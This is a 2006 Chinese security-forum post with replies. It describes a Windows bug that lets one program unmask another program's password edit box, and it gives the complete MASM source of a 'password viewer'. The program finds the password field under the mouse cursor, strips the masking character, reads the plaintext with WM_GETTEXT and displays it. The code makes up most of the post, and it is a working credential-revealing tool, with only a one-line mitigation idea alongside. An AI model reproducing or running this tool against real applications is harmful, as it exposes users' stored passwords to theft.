首页
社区
课程
招聘
一条消息轻松搞定星号密码[原创]
2006-7-23 14:59 6802

一条消息轻松搞定星号密码[原创]

2006-7-23 14:59
6802
【文章标题】一条消息轻松搞定星号密码
【文章作者】nohacks(非安全,hacker0058)
【作者主页】hacker0058.ys168.com
【文章出处】看雪论坛(bbs.pediy.com)

一条消息轻松搞定星号密码

漏洞描述:

    Windows处理密码输入属性的编辑框时有一个BUG,就是不检查是否是自己的

程序投递来的EM_SETPASSWORDCHAR消息,只要收到了且wMsg为0时,就会去掉自身

的密码输入属性以明文重新显示,使得我们可以轻易的查看没有经过特殊处理程

序的编辑框里被遮盖符遮盖的内容.

危险等级:高

影响范围:

  我没有在其他系统上测试,但至少在我的系统(Windows XP+XP2)上有效!我相信

在98,2000等上面都有效!

利用方法:

  invoke        PostMessage,hWnd, EM_SETPASSWORDCHAR, 0, 0

一条简单的EM_SETPASSWORDCHAR消息就可以让其他程序编辑框的密文变明文,由

此可见Windows的马虎.

解决方法:

  我想应该是在自己的窗口消息循环(GetMessage)里处理掉这条消息就可以了.

利用代码:

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        Programmed by nohacks, kker.cn@163.com
;        Website: http://hacker0058.ys168.com
;                 Win32 ASM is Masm
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        版本信息
;        密码查看器 - 可以查看密码编辑框中的密码
;           V1.0 ------        2006年7月23日
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

                .386
                .model flat, stdcall
                option casemap :none   ; case sensitive

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

include                windows.inc
include                user32.inc
include                kernel32.inc
includelib        user32.lib
includelib        kernel32.lib

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

DLG_MAIN        equ                1000
ID_PWD                equ                1001

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

                .data?

hInstance        dd        ?
szBuffer        db        256 dup        (?)

phwnd        dd ?

.code

;********************************************************************
_ProcDlgMain        proc        uses ebx edi esi, \
                hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD
                local        @stPoint:POINT
                local        @hWindow:dword
                local        @STYLE

                mov        eax,wMsg
                .if        eax == WM_CLOSE
                        invoke        EndDialog,hWnd,NULL
                        invoke        KillTimer,hWnd,1
                .elseif        eax == WM_INITDIALOG
                       
                        ;置顶程序窗口
                       
                        invoke        SetWindowPos,hWnd,HWND_TOPMOST,0,0,0,0,\
                                SWP_NOMOVE or SWP_NOSIZE                     
                        invoke        SetTimer,hWnd,1,100,NULL        

                .elseif        eax == WM_TIMER                ;时钟事件
               
                        invoke        GetCursorPos,addr @stPoint
                        invoke        WindowFromPoint,@stPoint.x,@stPoint.y
                        mov        @hWindow,eax
                       
                        .if        (eax !=        NULL && eax !=phwnd)  ;不为空且不等于老句柄
                       
                       
                        mov phwnd,eax
                               
         invoke        SendMessage ,@hWindow,EM_GETPASSWORDCHAR, 0, 0     ;取得编辑框遮盖符代码   
                         
                         
                         mov @STYLE,eax
                         
                       
                                  .if (eax !=0 )    ;如果不为0,就是密码框
                               
                                       
                                 
                       
        invoke        PostMessage,@hWindow, EM_SETPASSWORDCHAR, 0, 0  ;关键一句,去掉密码遮盖符
                               
        invoke        SendMessage,@hWindow,WM_GETTEXT,256,offset szBuffer  ;取得编辑框文本→Pass
                               
                       
        invoke        PostMessage,@hWindow, EM_SETPASSWORDCHAR, @STYLE,0  ;恢复编辑框密码遮盖符
        
        
        invoke        SetDlgItemText,hWnd,ID_PWD,offset szBuffer ;输出密码明文到编辑框
                                                           
                                                                               
                                       
                                .endif
                        .endif
                .else
;********************************************************************
;        注意:对话框的消息处理后,要返回 TRUE,对没有处理的消息
;        要返回 FALSE
;********************************************************************
                        mov        eax,FALSE
                        ret
                .endif                  
                mov        eax,TRUE
                ret
               
_ProcDlgMain        endp

start:

invoke        GetModuleHandle,NULL
mov        hInstance,eax

invoke        DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,0
invoke        ExitProcess,NULL

end start

======================================================================

程序界面如图:



RadASM+Masm工程源码下载:


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

上传的附件:
收藏
点赞7
打赏
分享
最新回复 (8)
雪    币: 750
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
非安全 17 2006-7-23 15:03
2
0
哦,没看到好象已经有人发一个类似的啊
雪    币: 370
活跃值: (15)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
快雪时晴 4 2006-7-23 15:45
3
0
怎么样都是学习
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xtya 2006-7-23 16:39
4
0
这个不错,不过好象已经有人发过了
雪    币: 750
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
非安全 17 2006-7-23 17:01
5
0
最初由 xtya 发布
这个不错,不过好象已经有人发过了


阁下好象是第一次发帖哦,谢谢你的第一次
雪    币: 208
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yoshimitsu 2006-7-23 19:58
6
0
对有些程序可以, 有些程序就不行。
楼主发现力很强啊。 学习了。
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
LUCKYWATER 2006-7-23 19:59
7
0
有意思
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
acc 2006-7-25 09:22
8
0
哦,原来是这样子的。。
雪    币: 750
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
非安全 17 2006-7-25 14:31
9
0
最初由 yoshimitsu 发布
对有些程序可以, 有些程序就不行。
楼主发现力很强啊。 学习了。


恩,是这样的,有些程序对密码做了处理,如QQ等

有些就没有,如:Outlook Express等
游客
登录 | 注册 方可回帖
返回